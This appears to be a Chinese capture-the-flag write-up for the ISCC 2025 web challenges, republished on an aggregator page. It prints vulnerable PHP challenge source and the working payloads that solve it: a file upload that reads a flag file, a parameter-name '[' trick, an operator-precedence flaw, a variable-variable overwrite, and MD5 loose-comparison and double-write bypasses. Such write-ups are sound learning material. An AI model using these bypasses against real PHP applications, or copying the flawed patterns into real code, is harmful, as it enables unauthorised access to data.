当前位置: 首页 > news >正文

ISCC-2025-web-wp

web

校赛

校赛靠着ENOCH师傅发力,也是一路躺进了区域赛,E师傅不好意思发这抽象比赛的wp(这比赛确实啥必到让人大开眼界,反正明年我是肯定不会打了),我就顺手要过来连着区域赛的一起发了

web

150分

按照提示进入/includes/flag

提示get一个锤子

主页get传参chuizi~~(谁能想到是拼音啊)~~

upload路由上传enoch.txt

内容

<?php highlight_file("/includes/flag.php");?>

因为过滤了常见函数,只有这个能用

然后即可拿到

奚月遥传过来的神器相当有用!肖驰成功通过它逃了出来!二人相拥时,肖驰激动地对奚月遥说:SVNDQ3taaDFKMUBZMV8xc181MF9GdW59

50分

robots.txt发现有f10g.txt

进去后没内容

爆破出f12g.txt

得到的flag直接交上去是错的

把flag里面的0改成2即可提交

开门

有爱就不怕
6hu6
jıushizheshouge
dcombctbymbioay
ISCC{zK_!1&c3lQEL(9,
server请求头:sfdzq}

区域赛

回归基本功

进来一个铲铲s14的页面,用户代理是提示,随便输个东西,去到process.php路由

提示在这里输信息是没用的,结合用户代理的提示,从user-agent爆破一下

image-20250510211731321

佛爷戈拿到源码

image-20250510211622471

<?php
show_source(__FILE__);
include('E8sP4g7UvT.php');
$a=$_GET['huigui_jibengong.1'];
$b=$_GET['huigui_jibengong.2'];
$c=$_GET['huigui_jibengong.3'];$jiben = is_numeric($a) and preg_match('/^[a-z0-9]+$/',$b);
if($jiben==1)
{if(intval($b) == 'jibengong'){if(strpos($b, "0")==0){echo '基本功不够扎实啊!';echo '<br>';echo '还得再练!';  }else{$$c = $a;parse_str($b,$huiguiflag);if($huiguiflag[$jibengong]==md5($c)){echo $flag;}else{echo '基本功不够扎实啊!';echo '<br>';echo '还得再练!'; }} }else{echo '基本功不够扎实啊!';echo '<br>';echo '还得再练!'; }
}
else
{echo '基本功不够扎实啊!';echo '<br>';echo '还得再练!'; 
}
?> 

进来之后是一个php绕过,第一个坑在变量命名这里,给的变量是huigui_jibengong.1,但是直接输是不行的,php会把非法字符替换成__,但是在php8以下的版本,可以通过[来产生错误,php只会替换第一个[为__,而之后的字符都正常显示

第二个坑在优先级判断

$jiben = is_numeric($a) and preg_match('/^[a-z0-9]+$/',$b);

=的优先级比and高,所以在判断完is_numeric($a)后就会进行赋值,而不会对b进行正则检测

第三个点在传入b的绕过

if(intval($b) == 'jibengong')

做一个简单的测试,&即可传入参数

image-20250510215552024

第四个坑在于变量jibengong的值是未知的,但是注意到$$c=$a,这段代码很有意思

如果
$c=jibengong
$a=1
执行$$c=$a后
就会使jibengong=1
所以我们将c设置为jibengong即可实现任意修改

最终payload

huigui[jibengong.1=1&huigui[jibengong.2=a%261=e559dcee72d03a13110efe9b6355b30d&huigui[jibengong.3=jibengong

哪吒的试炼

又是熟悉的脑洞题,改名叫脑电波大赛好了
get传参food=lotus root进入下一个isflag.php路由

F12看一下,加一个参数source=true读到php源码

image-20250510220907868

<?php
if (isset($_POST['nezha'])) {$nezha = json_decode($_POST['nezha']);$seal_incantation = $nezha->incantation;  $md5 = $nezha->md5;  $secret_power = $nezha->power;$true_incantation = "I_am_the_spirit_of_fire";  $final_incantation = preg_replace("/" . preg_quote($true_incantation, '/') . "/", '',$seal_incantation);if ($final_incantation === $true_incantation && md5($md5) == md5($secret_power) && $md5 !== $secret_power) {show_flag(); } else {echo "<p>封印的力量依旧存在,你还需要再试试!</p>";}
} else {echo "<br><h3>夜色渐深,风中传来隐隐的低语……</h3>";echo "<h3>只有真正的勇者才能找到破局之法。</h3>";
}
?>

一个简单又无聊的绕过,双写绕过替换,md5弱比较绕过即可

image-20250510221259893

传参后又是一个脑洞题,算了这里不适合骂人

将明拆成两半是日和月,对应sun和moon,将moon顺序反转形成noom,跟sun拼接后得到suoom

李同理,木是wood,子是child,拼接后得到woolihc

按照这样的规律得到flag

http://www.xdnf.cn/news/726913.html

相关文章:

  • Linux详谈进程地址空间
  • 西蒙诺维奇-炮弹导体粗糙度模型揭秘
  • 智能问数技术路径对比:NL2SQL vs NL2Semantic2SQL
  • 更新密码--二阶注入攻击的原理
  • 【Linux】环境变量完全解析
  • KVM 安装 Ubuntu 22
  • 编码总结如下
  • 变焦位移计:机器视觉如何克服人工疲劳与主观影响?精准对结构安全实时监测
  • Wireshark 在 macOS 上使用及问题解决
  • 4.2.3 Spark SQL 手动指定数据源
  • 组件化开发:构建可复用的DeepSeek小程序组件
  • 多方法解决MNIST数字识别
  • LangChain【3】之进阶内容
  • AU6825集成音频DSP的2x32W数字型ClaSSD音频功率放大器(替代TAS5825)
  • Vad-R1:通过从感知到认知的思维链进行视频异常推理
  • 力扣刷题Day 65:单词搜索(79)
  • 吴恩达MCP课程(1):chat_bot
  • WordPress SureTriggers插件认证绕过漏洞(CVE-2025-3102)
  • springboot文件上传下载
  • 《系统集成项目管理工程师(第三版)》高效学习方法
  • leetcode108.将有序数组转换为二叉搜索树:递归切分中点构建平衡树的智慧
  • 传输层核心技术解析
  • HAProxy 可观测性最佳实践
  • 数据库查询性能优化:深入理解与应用物化视图
  • 设计学生管理系统的数据库
  • PostIn V1.1.2版本发布,新增接口评审功能,提升接口质量与合理性
  • 2025陕西省赛补题
  • Golang持续集成与自动化测试和部署
  • Go语言接口:灵活多态的核心机制
  • 马尔可夫链模型解析—24小时政策过山车,黄金拉升80美元V型反转路径